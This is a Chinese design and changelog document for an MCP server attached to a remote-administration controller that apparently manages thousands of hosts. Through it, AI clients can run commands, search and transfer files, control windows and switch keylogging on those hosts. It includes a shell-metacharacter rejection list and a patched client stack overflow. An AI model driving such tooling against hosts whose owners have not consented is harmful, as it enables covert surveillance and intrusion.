| 读超时 | 5s | 15s | 经 frp 隧道上传参数时,单次 recv 不该 5s 就断 |
| 写超时 | 5s | 60s | `get_screenshot` 大图 base64、慢链路下 5s 会写断响应 |
| 线程池 | `max(8, 核数-1)` | 固定 32 | `chat_wait`(最长 55s)与批量只读会长期占线程 |
读超时是 **socket 空闲读超时**,不是「处理时长上限」:`search_file` 阻塞 20s、`chat_wait` 阻塞 55s 都正常返回(已实测)。
### 10.2 A3 工具注解(`McpInternal::ApplyToolAnnotations`)
- `tools/list` 每个工具都带 `annotations`:`readOnlyHint` / `destructiveHint` / `idempotentHint` / `openWorldHint`,由 `McpInternal.cpp` 的 `kToolHints` 表按名登记,末尾统一补一次。
- 未登记的工具按规范默认值处理(`destructiveHint=true`),即**新增工具必须显式登记**,漏登记只会更保守,不会误标成只读。
- 只读工具的 `destructiveHint` 一律 `false`(按规范对只读工具无意义,避免客户端误报「破坏性」)。
- `openWorldHint=false` 只给「只读服务端本机状态」的工具(`list_online_hosts` / `search_hosts` / `list_all_hosts` / `get_host_detail` / `get_activity_history` / `get_audit_log` / `get_server_status`),其余都会触达外部主机。
### 10.3 A4 `get_host_detail` 字段补全
在线主机现在返回:`id` / `name` / `online` / `ip` / `publicIp` / `location` / `group` / `os` / `version` / `exeVersion` / `clientType` / `clientPath` / `systemBits` / `programBits` / `cpuCores` / `memoryGB` / `monitors` / `screen` / `user` / `isAdmin` / `pid` / `installTime` / `activeWindow` / `rtt` / `tls`;离线主机返回 `authStatus` / `last_seen` / `install_time` 等最后记录。
注意 `memoryGB` 是 **double**:客户端 `GetMemorySizeGB()` 上报的就是浮点字符串(如 `"27.800000000000001"` 的原始形态),不能按整数解析。服务端按 1 位小数规范化,并给 jsoncpp 写入器设 15 位有效数字,避免输出 17 位噪声。
### 10.4 B1 主机库写入:`host_set_remark` / `host_set_watch_level`
- 写的是服务端本机的 `_ClientList`(`MAP_NOTE` / `MAP_LEVEL`),**只影响主控端自己的展示**:不下发命令、不改远端状态。
- 门控:`McpReadonly=0` 即可(不要求 `McpManage`);在线/离线(历史记录)主机都能写,id 在主机库中存在即可。
- `host_set_remark`:`remark` 必填(空串 = 清除),**严格 GBK 转换**(emoji、`ö` 等不可表示字符报 `-32602`),长度上限 63 GBK 字节(主机库列 `char Note[64]`)。
- `host_set_watch_level`:`level` 0–3。重复写同一值幂等。
- 写后 `SaveToFile(GetDbPath())` 落库,并用 `LVM_REDRAWITEMS` 让在线列表那一行立刻刷新(MCP 线程不直接碰 `CListCtrl`)。
- 审计只记「set/cleared + 字节数」与 `level=`,**不记录备注正文**。
### 10.5 B2 远程文件搜索:`search_file`
**链路**(旧文件管理器,不是 SimplePlugins 版):
```
主连接 COMMAND_LIST_DRIVE → 客户端建子连接 → 子连接回 TOKEN_DRIVE_LIST
→ 服务端 OnDriveList 下发 COMMAND_SEARCH_FILE [根目录 \0][模式 \0](ANSI/GBK 两个 C 串)
→ N × TOKEN_SEARCH_FILE_LIST(分片)→ TOKEN_SEARCH_FILE_FINISH
```
协议来自 `client/FileManager.cpp`(`COMMAND_LIST_DRIVE` → `LoopFileManager` → `CFileManager`)。客户端工程是 MultiByte,所有字段都是 GBK,服务端用 `Utf8ToCpExact` 严格转换,不可表示即 `-32602`。
要点:
- **模式**:不含 `*` / `?` 时客户端当成 `*pattern*`(不区分大小写的子串),含通配符时走 `WildcardMatch`。
- **递归**:客户端只有递归搜索(深度 32,最多 10000 条,跳过隐藏/系统目录与重解析点)。`recursive=false` 由**服务端按「父目录 == 根目录」过滤**实现。
- **路径归一化**:客户端用 `wsprintf("%s\\*.*")` 枚举,根目录带尾部反斜杠会拼成 `C:\\*.*` 导致 `FindFirstFile` 失败、搜索秒回 0 条。服务端统一切成正斜杠→反斜杠并去尾斜杠(`C:\` → `C:`,客户端再拼回 `C:\*.*`)。
- **超时**:`timeout_ms` 默认 20000(1000–120000)。到点先下发 `COMMAND_FILES_SEARCH_STOP`,再等 5s 收尾;收不到 `FINISH` 也返回已收到的部分结果,`finished=false`。
- **收集上限**:5000 条 / 4 MB 原始包,超出即让客户端停搜并置 `truncated=true`(保护服务端内存,整盘搜索能命中几十万条)。
- **子连接身份校验**:`TOKEN_SEARCH_FILE_LIST` / `TOKEN_SEARCH_FILE_FINISH` 都按 `context*` 比对当前 pending 的子链接,旧搜索(已放弃)的尾包一律不受理,避免迟到的 FINISH 终止新搜索。
- **已知风险(客户端既有缺陷,仓库内已修)**:`client/FileManager.cpp` 的 `SearchFilesRecursive` 曾用无界 `wsprintf` 往 `char[MAX_PATH]` 里拼路径(`strPath`、`szFullPath`),全程没有长度检查。目录一深(累计路径超过 260)就栈溢出:Debug 客户端弹 `Run-Time Check Failure #2 - Stack around the variable 'strPath' was corrupted` 并挂住搜索线程,Release 客户端静默破坏栈。MFC 文件管理器的「搜索」走同一函数,**与 MCP 无关**。源码已于 2026-10-25 修掉(commit 8f718d9,入口/逐条目长度预判);**已部署的老客户端仍带这个缺陷**,所以 `tools/mcp_smoke.ps1` 的搜索用例仍是 opt-in(`-SearchPath`)。
- **无头路由**:MFC 对话框存在时搜索结果走 `OnReceiveComplete`;只有无头子连接(MCP 调用)才会进 `MessageHandle`,所以这两条 case 只影响 MCP。`TOKEN_SEARCH_FILE_LIST` 分支**绝不 CancelIO**(后面还有 FINISH 与剩余分片)。
- 输出:`{files:[{path,name,dir,size,modified}], finished, truncated, total, totalAll, offset, limit, hasMore}`。
### 10.6 A5 冒烟测试脚本
`tools/mcp_smoke.ps1`:只调只读工具(列表/详情/搜索 + 传输层负例),断言分页字段、注解、401/413、批量汇总。
```powershell
$env:YAMA_MCP_TOKEN = '<token>'
powershell -ExecutionPolicy Bypass -File tools\mcp_smoke.ps1 # 默认 6544(Release)
powershell -ExecutionPolicy Bypass -File tools\mcp_smoke.ps1 -Base http://127.0.0.1:6545/mcp
```
token 只从 `-Token` / env 读取,不落仓库、不打印;无在线主机时加 `-SkipHost`。退出码 0/1,可接 CI。
### 10.7 明确不做的两项
- `get_clipboard`:剪贴板常含口令/令牌/私钥,属"读即泄密",且客户端没有"只读不覆盖"的现成链路;已有 `remote_clipboard` 覆盖写。需要时用 `get_screenshot` + 人工确认。
- `close_window`:`operate_window` 的 `close` 动作已覆盖(同一 `COMMAND_WINDOW_CONTROL` 链路),不重复造工具。
### 10.8 D 批:拒绝也入审计
动机:所有策略拒绝(只读模式、`Mcp*` 开关关闭、主机不支持某能力)都返回 `-32006`,而审计里只有 `CALL_FAIL`——和「参数错」「主机离线」「超时」混在一起,事后分不清「没人调过」和「被策略拦下」。
- 实现放在 `tools/call` 的统一出口(`CMcpServer` 的 HTTP 处理器),不在 24 个 `-32006` 分支里逐个埋点:成功解析响应体后多取 `error.code` / `error.message`,`code == -32006` 就追加一条
```
<时间> CALL_DENIED ip=<来源> tool=<工具名> reason=<固定英文原因>
```
同一调用仍会留下原有的 `CALL_FAIL` 行,所以 `CALL_FAIL` 的统计口径不变。
- `reason` 全部是各分支写死的英文句子(如 `File transfer is disabled: requires McpFileTransfer=1`),不含调用参数或用户输入,落盘安全;审计依旧不记录 token、参数或返回正文。
- 其他错误码(`-32602` 参数、`-32002` 主机离线、`-32001` 超时等)不额外记事件,靠 `CALL_FAIL` 行即可。
- 验证(Debug 实例):把 `McpFileTransfer` 临时置 0 重启后调 `download_file`,审计立刻出现
`CALL_FAIL ... tool=download_file ms=1 bytes=114` 紧跟 `CALL_DENIED ... reason=File transfer is disabled: requires McpFileTransfer=1`;恢复 `McpFileTransfer=1` 重启后同一调用恢复 `CALL_OK` 且无 `CALL_DENIED`。冒烟脚本 20/20 通过(未指定 `-SearchPath` 时跳过 2 个搜索用例)。
---
## 11. 增补(C 批:读侧增强,不改客户端)
### 11.1 C1 `get_audit_log` 分页与过滤
改动前每次调用都返回镜像里的全部条目(环形缓冲上限 1000 条),调用方没法只看关心的部分,日志一多就会把工具返回值撑大。
- 新增入参:`type`(类型列子串,不区分大小写,如 `MCP` 能匹配 `MCP命令执行`)、`keyword`(正文子串,不区分大小写)、`limit` / `offset`(沿用统一分页,默认 100、上限 1000)。
- 过滤在分页之前生效:`total` 是命中条数、`totalAll` 是镜像里的全部条数;`hasMore` 针对命中的条目。摘要会补一句「过滤前共 N 条」,方便判断是不是过滤写错了。
- 读取仍在 `m_cs` 临界区内完成(UI 线程会并发写入),过滤循环里先做 GBK→UTF-8 转换再比对,避免拿两种编码互相比。
- outputSchema 补 `total/totalAll/offset/limit/hasMore`(与其它列表工具一致)。
- 注意 `get_audit_log` 读的是**主界面消息镜像**,不是 `logs\mcp_audit.log`;两者的条目内容和保留策略都不同(前者是 1000 条环形缓冲,后者是 5 MB 文件滚动)。
- 验证(Debug 实例):`limit=2` 两页分别返回第 1-2 / 3-4 条且 `hasMore=true`,`offset=999` 返回「offset 超出范围」;`type=mcp` 命中 `MCP命令执行`(大小写不敏感)、`type=提示` 命中「使用提示 / 提示信息」、`keyword=监听` 命中「监听端口: 6543成功」;冒烟脚本 23/23 通过(新增分页字段、条数上限、过滤未命中 3 项断言)。
### 11.2 C2 新工具 `get_server_status`
排查「改动到底生效没有」「为什么某个工具被拒」时,原先只能靠 `list_online_hosts` 加 `get_audit_log` 侧面推断;现在有一个服务端自身的状态快照。纯内存、只读、不建子连接。
返回(`structuredContent.status`):
| 字段 | 含义 |
|---|---|
| `app_name` / `version` | 品牌名与 `BRAND_VERSION`(当前 1.4.1) |
| `exe_build_time` | exe 文件的最后写入时间=链接时间(比 `__DATE__`/`__TIME__` 可靠,后者是编译单个 .cpp 的时间) |
| `uptime_sec` | 进程已运行秒数(`GetProcessTimes` 的创建时间起算,不是开机时间,也不受 MCP 启停影响) |
| `bind` / `port` | MCP 实际监听的地址与端口(`Start` 时记录,非从配置回读) |
| `switches` | `readonly` / `terminal` / `remote_control` / `file_transfer` / `manage` / `machine` / `machine_dangerous` / `keylog` / `chat` |
| `hosts` | `online` / `offline` 台数(与 `list_all_hosts` 同源) |
| `sessions` | `pending`(一次性/管理/键盘记录挂起) / `terminal` / `remote_control` / `file_transfer` / `chat` 在飞会话数 |
| `blocked_auth_ips` | 当前处于鉴权封禁期的来源 IP 数 |
- **不返回** token、`McpCmdWhitelist` 内容或任何配置原文;`switches` 只报布尔值。
- `sessions` 各项各取各自的锁、取完即放,是「大致同一时刻」的估算值,不能当一致性快照用。
- 工具注解登记为只读 + 非破坏性 + 幂等 + 不触达外部主机;`tools/list` 总数变为 53。
- 验证(Debug 实例):返回 `Yama v1.4.1,已运行 17 秒,监听 127.0.0.1:6545;在线主机 1 台、离线 3160 台`;`terminal_open` 期间 `sessions.terminal=1`、`terminal_close` 后回到 0;冒烟脚本 26/26 通过(新增 3 项:正常返回、版本/端口/开关齐全、不含 token)。
### 11.3 C3 主机列表过滤:`list_online_hosts` / `list_all_hosts`
这两个工具原先只有分页,想找「某个分组」「某个平台」的主机只能翻页或改用 `search_hosts`(后者不支持 `client_type`,且对在线/离线的取舍规则不同)。
- 新增三个可选入参(两个工具共用同一套实现):`group` / `os` / `client_type`,均为子串匹配、ASCII 不区分大小写、AND 组合,口径与 `search_hosts` 一致。
- 过滤在分页之前生效:`total` 为命中台数、`totalAll` 为过滤前总数(`list_online_hosts` 是全部在线数,`list_all_hosts` 是主机库总数);摘要改用「共 N 台主机匹配」并补一句过滤前规模,写错条件时一眼能看出来。
- `list_all_hosts` 摘要里的在线/离线拆分也按命中条目统计。
- **离线主机没有 `clientType`**(历史记录里不存这个字段),所以带 `client_type` 条件时离线主机不会命中——按平台筛历史主机用 `os`。
- 验证(Debug 实例):`client_type=exe` 命中 1 台(`EXE`/`os=Windows 11`),`client_type=lnx` 命中 0 台但 `totalAll` 仍为 1;`list_all_hosts` 带 `group=default` 命中 3161 台并正确拆分在线 1 / 离线 3160,`os=zzz` 命中 0 台;冒烟脚本 28/28 通过(新增过滤未命中、totalAll 不变 2 项断言)。
### 11.4 C4 `search_file` 结果侧过滤
`search_file` 的搜索条件(根目录 + 通配模式)由客户端执行,改不动;但把匹配项拿回服务端后可以再筛一遍,省掉 AI 端逐条比对。
- 新增四个可选入参,**都在服务端对已收集的匹配项做过滤**,不减少客户端侧搜索耗时:
- `min_size` / `max_size`:字节数,整数,闭区间;负数或非数字返回 `-32602`;两者都给出且 `min_size > max_size` 返回 `-32602`。
- `modified_after`:接受 `YYYY-MM-DD`(当天 00:00:00 之后)或 `YYYY-MM-DD HH:MM:SS`;格式不符返回 `-32602`。客户端返回的 `modified` 是定宽 `"YYYY-MM-DD HH:MM:SS"`,可直接字典序比较,所以两种写法都合法(`"2026-01-01" <= "2026-01-01 08:00:00"`)。
- `name_only`:布尔,命中项只保留 `path` / `name` 两个字段,适合只要文件清单时省 token。
- 过滤在分页之前:`total` 为命中条数、`totalAll` 为过滤前条数;摘要补一句「过滤前共 N 条(大小/修改时间/精简字段过滤在服务端进行,不减少客户端搜索耗时)」。
- 过滤只看服务端已收到的条目,所以仍受 `max_results` / `timeout_ms` 截断:客户端没搜完时,过滤结果也是部分的(`truncated` / `finished` 字段照旧反映这一点)。
- 验证(Debug 实例,根目录 `C:\Windows\Fonts`、`*.ttf`):基线 255 条;`min_size=1000000` → 39 条且 `totalAll=255`;`name_only=true` 每条只有 `path`/`name`;`modified_after=2026-01-01` → 165 条、`2026-06-03 00:00:00` → 130 条、`2027-01-01` → 0 条;`min_size=-5`、`min_size=10 & max_size=5`、`modified_after=2026/01/01`、`modified_after=2026-01-01 12:00` 均返回预期的 `-32602`。冒烟脚本 33/33 通过(新增 3 项:`min_size` 过滤后 `totalAll` 不变、`name_only` 精简字段、非法 `modified_after` 返回 `-32602`;后三项需带 `-SearchPath` 才执行)。
## 12. 错误码速查(E 批:冒烟与文档)
工具的失败分三类,AI 端应按 `code` 决定下一步,而不是读 `message` 文本。`message` 是给人看的英文说明,随实现变化,不作为契约。
| code | 含义 | 典型触发 | 建议动作 |
|---|---|---|---|
| `-32700` | Parse error | 请求体不是合法 JSON | 修正客户端序列化 |
| `-32600` | Invalid Request | 缺 `jsonrpc` / `method` / 非法 `tools/call` 结构 | 修正请求 |
| `-32601` | Method not found | `method` 不是 `initialize` / `tools/list` / `tools/call` 等 | 修正请求 |
| `-32602` | Invalid params | 未知工具名、缺必填参数、参数类型/取值非法、批量 `ids` 超过 50 个、`search_file` 过滤参数非法、文本无法转 GBK | 改参数重试,重试同样的请求不会成功 |
| `-32001` | Timeout | 等客户端就绪/等子连接/等搜索结果超时(`timeout_ms` 内没等到) | 可加大 `timeout_ms` 重试;持续出现看主机是否卡住 |
| `-32002` | Host offline / not found | 主机 id 不存在、主连接已断、会话 id 不存在或已关闭 | 先 `list_online_hosts` 刷新再选主机 |
| `-32003` | Busy | 该主机已有同类请求在飞(终端/截屏/文件/聊天会话),或同设备重复 `chat_open`。`message` 末尾带 `(tool=..., elapsed=Ns)` 点名占用者 | 用 `mcp_list_sessions` 看全部会话;等前一个结束、先 `*_close`,或 `mcp_cancel_session` 释放 |
| `-32004` | Send failed | 命令写入主连接失败(连接刚断) | 重试一次;仍失败按 `-32002` 处理 |
| `-32005` | Not supported on this host | 能力限制,改参数也修不好:需要 Windows 的工具用在 LNX/MAC/APK 主机上;`remote_open` 遇到多显示器(阶段一);主机无屏幕预览/控制能力位 | 换主机或换工具;不要改参数重试 |
| `-32006` | Policy refused | 只读模式 / 对应 `Mcp*` 开关关闭 / 主机不支持该能力(如 V2 文件传输) | **不要重试**:这是配置决定,需管理员改服务端配置 |
| `-32007` | Not in command whitelist | `exec_command` 的命令不在 `McpCmdWhitelist` 里,或词边界不匹配(`dir` 过、`dirx` 拒) | **不要重试**:换成白名单内的命令,或请管理员加白名单项 |
| `-32012` | Rejected by validation | 只覆盖「参数被校验拒绝、改参数可修」:`exec_command` 含 shell 元字符(Windows `&\|<>^`;Linux `&\|<>;` 与反引号、`$(` `${` `!`)或控制字符(含 `\r\n`);`terminal_exec` 含 `&`/`\|`/换行;路径/参数含非法字符。**`-32008` 是同一语义的历史别名**(早期实现用它,已发布的客户端/文档可能仍在匹配),新代码一律用 `-32012` | 按 `message` 修正参数后重试 |
| `-32009` | Target not found | 远端路径/注册表键不存在(win32 `2`/`3`,由新客户端主动回报);`kill_network_connection` 的四元组在当前连接表里查不到(`dry_run` 传假四元组最常见) | 先用 `list_files`/`list_registry`(或 `host_list_network_state`)确认目标存在 |
| `-32010` | Access denied | 目标存在但权限不足(win32 `5`):非提权客户端的服务枚举(`OpenSCManager`)、受保护目录(如 `System Volume Information`)、受保护注册表键(如 `HKLM\SAM`) | **不要重试**:需客户端提权(管理员运行)或换目标 |
| `-32011` | Destination write failed | 文件传输的**目标端**已收到数据但写盘失败:`copy_files_c2c` / `upload_file` 的目标主机回了回执且 `status != 0`(`message` 带 status、首个 errno、实收文件数) | **不要原样重试**:按文案判断(errno 13/1→权限、2→路径不存在、28→磁盘满),先修目标端目录/权限 |
| `-32800` | Request cancelled | 客户端取消了这次调用:`notifications/cancelled`、`mcp_cancel_session` 或 SSE 流断开(检测到断开会置同一个取消位)。工具在 ≤1s 内退出等待并走既有的超时清理路径,主机占用已释放 | 不是主机故障,可直接重试;终止类命令可能已经执行,重试前先读一次现状 |
- **命令超时会销毁持久会话**(`terminal_exec`):等服务端收集到哨兵超时返回 `-32001`,会话随即被销毁并留 600 秒「墓碑」;对同一 `session_id` 再发命令返回 `-32002`,文案明确写 `Terminal session was destroyed after this command timed out (waited N ms); call terminal_open again`,与「id 写错」(`Terminal session not found: <id>`)区分开。
- **新客户端把失败改成结构化回报**(`TOKEN_SERVICE_ERROR=170` / `TOKEN_FILE_LIST_ERROR=171` / `TOKEN_REG_ERROR=172` / `TOKEN_DOWNLOAD_ERROR=173`,布局 `[token:1][win32 码:4 LE]`):`list_services`(未提权)、`list_files`/`list_registry`(路径/键不存在或拒绝访问)、`download_file`(远端路径全部不存在)都在客户端侧就失败并立即回报,服务端转译成 `-32009`/`-32010`,**亚秒级返回**,不再靠超时猜。老客户端不发这些包,成功路径报文一律不变,因此老客户端/老服务端的行为与改造前完全一致(老服务端把未知 token 走 `default` 丢弃)。
- **工具放弃后的「迟到首包」一律吸收,不会弹 MFC 窗口**:文件/服务/注册表/进程/日志/终端这几族的子连接都是「建成即发首包」。工具超时清理挂起后,客户端可能才把首包发上来,此时没有挂起会话,`MessageHandle` 只能把它当成人手点击,于是弹出文件管理器/服务管理器/注册表/进程管理器/日志/终端窗口(构造超时场景时实测出现过文件管理器窗口)。现在各等待函数在**放弃分支**登记「设备 → 该工具的首包 token」(`CMcpServer::MarkLateFirstPacketForTool`),包到达时 `TakeToolFirstPacket` 一次性吸收并关子连接:`list_files`/`download_file`/`upload_file`/`search_file` → `TOKEN_DRIVE_LIST`;`list_services`/`control_service` → `TOKEN_SERVERLIST`;`list_registry` → `TOKEN_REGEDIT`;`list_processes`/`kill_process` → `TOKEN_PSLIST`;`list_windows`/`operate_window` → `TOKEN_WSLIST`;`get_client_log` → `TOKEN_REPORT_LOG`;`get_activity_history` → `TOKEN_REPORT_ACTIVITY`(主连接,只丢包不关连接);`exec_command`/`terminal_open` → `TOKEN_SHELL_START` + `TOKEN_TERMINAL_START`。成功路径不登记,命中即消费,标记 5 分钟后过期。**已知代价**:同一主机在工具超时后 5 分钟内手动点开对应窗口,可能被这枚标记吞掉一次(再点即可)——比误弹窗口更可接受。
- **MCP 工具在飞时不弹客户端的老式提示框**:新客户端在失败分支同时发结构化 token 和老的 `ClientMsg`(只为兼容老服务端),后者会 `PostMessageA(WM_SHOWERRORMSG)` 在服务端 UI 上弹框。`TOKEN_CLIENT_MSG` 分支现在发现该设备有挂起请求/文件传输时就只记日志不弹框。实测 `list_services`(未提权)时客户端子连接已被服务端关掉,`ClientMsg` 根本发不出来,这条属兜底。
- **`download_file` 有停滞看门狗兜底**:60 秒没收到任何数据即失败,返回 `-32001` 且文案带 `File transfer stalled: no data received for 60s ...`。新客户端的 `TOKEN_DOWNLOAD_ERROR` 让这条路基本不再触发,看门狗只用来兜住「客户端卡住/老客户端」。
- `-32006` 会额外在审计日志里记一条 `CALL_DENIED`(§10.8),其余错误只体现在 `CALL_FAIL` 行。
- 批量调用(带 `ids[]`)**整体不报错**:每个 id 的结果单独带 `error`,顶层用 `succeeded` / `failed` / `skipped` 汇总;只有整批请求本身非法(超过 50 个 id、写操作传 `ids`)才返回顶层 `-32602`。
- 冒烟脚本 `tools/mcp_smoke.ps1` 覆盖了上表的可复现项:`-32601`(未知 method)、`-32602`(未知工具/缺参数/51 个 id)、`-32002`(不存在的主机)、`-32006`(任一开关关闭时自动挑一个关着的功能验证,并断言审计里出现 `CALL_DENIED`;全部开启时跳过)、`-32009`(新客户端的 `list_files`/`list_registry`/`download_file` 不存在路径负例)。其余码由各批次的功能验证覆盖(`-32001`/`-32003` 等需要构造竞态或超时,不进冒烟)。
- 本次验证(Debug 实例):冒烟 **40/40 通过**(原 37 项 + 3 条 `-32009` 负例);`-32010` 由 `list_services`(未提权客户端,win32=5)、`list_files "C:\System Volume Information"`、`list_registry "HKLM\SAM\SAM\Domains\Account"` 三条实测覆盖。
### 12.1 命令哨兵与输出清洗(测试报告 P1/P3/P4 的修复)
`exec_command` 与 `terminal_exec` 都靠哨兵判断「命令已执行完、退出码是多少」。哨兵有三种形态:
| 客户端 | 下发内容 | 退出码 |
|---|---|---|
| POSIX PTY(Linux,`RES_CLIENT_TYPE=LNX`) | 第一行 `PS1=`;第二行 `<cmd>`;第三行 `echo __MCP_DONE_<nonce>__$?` | 命令的真实退出码 |
| ConPTY(`is_pty=true`,新版 Windows 客户端) | 第一行 `@echo off & <cmd>`;第二行单独 `echo __MCP_DONE_<nonce>__%errorlevel%` | 命令的真实退出码 |
| 老 ShellManager 管道(`is_pty=false`) | 单行 `<cmd> 2>&1 && echo __MCP_DONE_<nonce>__0 || echo __MCP_DONE_<nonce>__1` | 仅 0 / 非 0 |
POSIX 形态与 Windows 的差别:
- **不能用 `@echo off & <cmd>` / `%errorlevel%`**:Linux 的 `bash -i` 把它们当字面量,哨兵永远不会出现,必然超时。
- **先发一行 `PS1=`**:交互式 bash 每读一行都打印提示符(`user@host:cwd$`),提示符会混进 stdout(Windows ConPTY 不会)。清空 `PS1` 后提示符消失。这一行的回显排在下发的命令行回显之前,会被「从缓冲区开头删到命令行回显结束」那一步一并切掉,不进入返回文本。
- **`$?` 是上一行的退出码**:`PS1=` 与命令各占一行,哨兵只取命令那一行的状态,未被 `PS1=` 干扰。
**为什么 PTY 要分两行下发**:`rem hello`、`cmd /c exit 0`、`if`、`for` 这类「吞行」命令会把同一行里的 `&& echo 哨兵` 一起吞掉(`rem`/`cmd /c` 把行内剩余文本当作自己的参数),哨兵永不出现,于是必然超时并销毁会话。哨兵独立成行后由 shell 自己执行,不再受命令行影响。老客户端只能维持单行形态:`client/ShellManager.cpp` 按「写入字节数」跳过回显,多写一行会吃掉上一行的输出。
**为什么用 `%errorlevel%`**:ConPTY 会把输入整行回显进输出流(80 列会折行)。回显文本里是字面 `%errorlevel%` 而不是数字,而 `FindSentinel` 只认「标记 + 数字」,折行回显再也不可能被误判成哨兵(评审 P3:`ver` 曾因回显里的 `__1` 被判成 `exit_code=1`),同时还能拿到真实退出码(如 `nosuchcmd` 的 9009)。
**输出清洗顺序**:剥 ANSI(OSC 序列以 `ESC\` 结尾时两字节一起吞,否则会残留 `\`)→ CRLF 归一 → 从缓冲区开头删到「我们下发的命令行回显」结束(顺带清掉 shell 启动画面与提示符)→ 删哨兵行回显 → **按 nonce 擦掉残留的哨兵文本** → 去首尾空行。最后一步是必需的:ConPTY 送回来的是**屏幕渲染流**(带光标移动/擦除序列),剥掉序列后同一行可能重复出现,哨兵会留下副本(实测不擦时 `rem hello` 只剩哨兵、`cmd /c echo abc` 成了 `abc__MCP_DONE_x__0`)。nonce 每条命令随机生成,命令的真实输出不可能包含它,所以按 nonce 擦除不会误伤业务输出。
**已知边界**:屏幕渲染流里「光标下移空行」会被剥成紧邻行(例如 `ping` 的统计块会贴在最后一条回复后面),不影响语义。
## 13. 增补(2026-10-26:MCP HTTPS / native TLS)
### 13.1 目标与取舍
公网 MCP 客户端(Claude Desktop、WorkBuddy 等)多数只接受 `https://` 端点,而 MCP 一直是明文 `httplib`。三条路里选了第三条:
| 方案 | 结论 |
|---|---|
| 在 vps 上用 nginx 反代加 TLS | 不行:vps 的 80/443/6544 都由 frps 持有,nginx 只在 8080,且反代会让 token 以明文经过 vps |
| 引入 OpenSSL / cpp-httplib 的 `CPPHTTPLIB_OPENSSL_SUPPORT` | 新增第三方依赖与证书/私钥加载路径,仓库已有 Schannel 实现 |
| **复用仓库既有的 Schannel 入站实现,在 MCP 端口上终结 TLS** | ✅ 零新依赖,`ServerTlsSession`/`ServerTlsIdentity` 已在设备端口跑通 |
### 13.2 结构:同端口嗅探 + 明文直通
```
客户端 ──TLS──▶ [McpTlsProxy] :McpPort ──明文──▶ httplib 127.0.0.1:McpInternalPort
客户端 ──明文─▶ │ 0x16 0x03 ? (只绑回环,不对外)
```
- `McpTlsProxy`(`McpTlsProxy.h/.cpp`)在 `McpBind:McpPort` 上监听,首包用 `MSG_PEEK` 判 TLS(首字节 `0x16` 且次字节 `0x03`,与设备端口 §5.2 同一套路):TLS 走 `ServerTlsSession::HandshakeWithCred` + `Decrypt`/`Encrypt`,否则按字节原样转发。
- 因此**同一端口两种用法并存**:本机既有的 `http://127.0.0.1:6544/mcp` 不用改,远端可以用 `https://host:6544/mcp`。
- `McpHttps=0` 时完全不启动前端,行为与改造前一致(httplib 直接监听 `McpBind:McpPort`)。
### 13.3 身份:第二份证书,独立 CNG 键名
`ServerTlsLoadIdentityFromPem(cert, key, L"YamaMcpTlsKey", id)` 构造进程内第二份入站身份,与设备端口的 `ServerTlsIdentity`(`YamaServerTlsKey`、通常自签 `CN=localhost`)并存:证书/私钥各读各的,持久化私钥用不同键名,互不覆盖。`HandshakeWithCred` 是新增的重载,设备端口仍用 `Handshake`(同一份逻辑,只是取凭据的方式不同)。
**fail-closed**:证书/私钥读不出来、CNG 导入失败、端口被占任一项失败,`McpServer::Start` 会把 httplib 一起停掉并返回 false——绝不允许「以为在跑 HTTPS、其实没在监听」。
### 13.4 实测(Debug 实例,自签证书)
| 场景 | 结果 |
|---|---|
| `https://127.0.0.1:6545/mcp`(`--cacert server.crt`)无 token | `401`,证书校验通过 |
| 同一端口 `http://127.0.0.1:6545/mcp` 无 token | `401`(明文直通未受影响) |
| TLS + token:`initialize` / `tools/list` / `tools/call get_server_status` | 正常,53 个工具 |
| 同一条 TLS 连接上连发两个请求(keep-alive) | 两次都 `200`,复用连接 |
| 错误 token | `401`(回环来源的鉴权封禁豁免仍生效) |
| 内部端口 `6546` | 只监听 `127.0.0.1` |
| `McpCertPath` 指向不存在的文件后重启 | MCP 整体不启动,无任何监听(fail-closed) |
| 公共 CA 的 ECDSA 证书(Let's Encrypt P-256 fullchain + PKCS#8 私钥) | 身份加载成功,TLS 无 token `401`、带 token `initialize`/`tools/list` 正常(53 工具) |
| 本地 CA 三级链(叶 + 中间,中间证书不在系统库) | 服务端下发 2 张证书,`openssl s_client -CAfile root.crt` 得 `Verify return code: 0` |
| 设备端口 `6543` TLS(回归) | 握手正常 |
| `McpHttps` 删除后重启(回归) | 明文明监听,无内部端口 |
### 13.5 Schannel 的一个坑(已修在共用层)
`ServerTlsSession` 原先把「首次收到的字节」直接喂给 `AcceptSecurityContext`。如果这批字节只是**半条 ClientHello**,Schannel 会先建出一个坏上下文,补齐后再送返回 `SEC_E_UNKNOWN_CREDENTIALS (0x80090301)`,握手必失败。设备端口因为累积了整包才分类、且客户端 ClientHello 通常一次到齐,一直没暴露;MCP 前端按 8 字节嗅探后接手,稳定触发。
现在 `HandshakeWithCred` 在首次 ASC 之前先凑齐**一整条 TLS 记录**(5 字节头 + 负载,上限 18432 字节,首字节非 `0x16` 或缺字节超时则 fail-closed),调用方给多少字节都行。这也顺带修好了设备端口在「ClientHello 被 TCP 分片」时的同类隐患。
### 13.6 部署公网证书
1. 把公共 CA 签发的证书链与私钥(PKCS#8)放到本机,例如 `Bin\certs\mcp-fullchain.pem` / `Bin\certs\mcp-key.pem`。证书支持 RSA 与 ECDSA(P-256/P-384/P-521),可以写成「叶证书 + 中间证书」的 fullchain(见 13.8)。
2. 「扩展 → MCP设置」勾选「启用 HTTPS」,在两行里填/浏览证书与私钥(也可直接改 ini:`McpHttps=1`、`McpCertPath=<证书>`、`McpKeyPath=<私钥>`),保存后重启 YAMA。注意「端口」填的是对外端口,httplib 自动退到 `127.0.0.1:McpPort+1`。
3. frp 的 `YAMA-MCP-*` 映射指向本机 `McpPort` 不变——TLS 在 YAMA 内终结,vps 只转发密文。
4. 证书续期后需重新拷贝 + 重启 YAMA(当前不做热加载)。
客户端配置形如:
```json
{
"mcpServers": {
"yama": {
"type": "http",
"url": "https://web.just-do-it.icu:6544/mcp",
"headers": { "Authorization": "Bearer <McpToken>" }
}
}
}
```
### 13.7 已知限制
- **按 IP 的鉴权封禁对远端不生效**:`IsAuthBlocked` 按来源 IP 计数,而经 frp 或本前端转发的请求来源都是 `127.0.0.1`,命中既有的「代理来源豁免」。因此远端的暴力尝试不受「10 次失败 / 60 秒 → 封 15 分钟」约束,真正的防线是 token 熵(32 hex ≈ 128 bit)与审计日志里的 `AUTH_FAIL` 记录。经 frp 暴露时改造前就已如此;但若改造前是把 `McpPort` 直接绑在公网地址(不经 frp),远端 IP 原本会被封禁,开启本前端后一律变成环回、不再封禁——按部署方式评估这一差异。要补需在本前端把真实来源 IP 以受信头注入 httplib 请求,属于后续工作。
- 证书不热加载:换/续证书需重启 YAMA。
- 只支持 HTTP/1.1(与 httplib 一致),不做 ALPN h2。
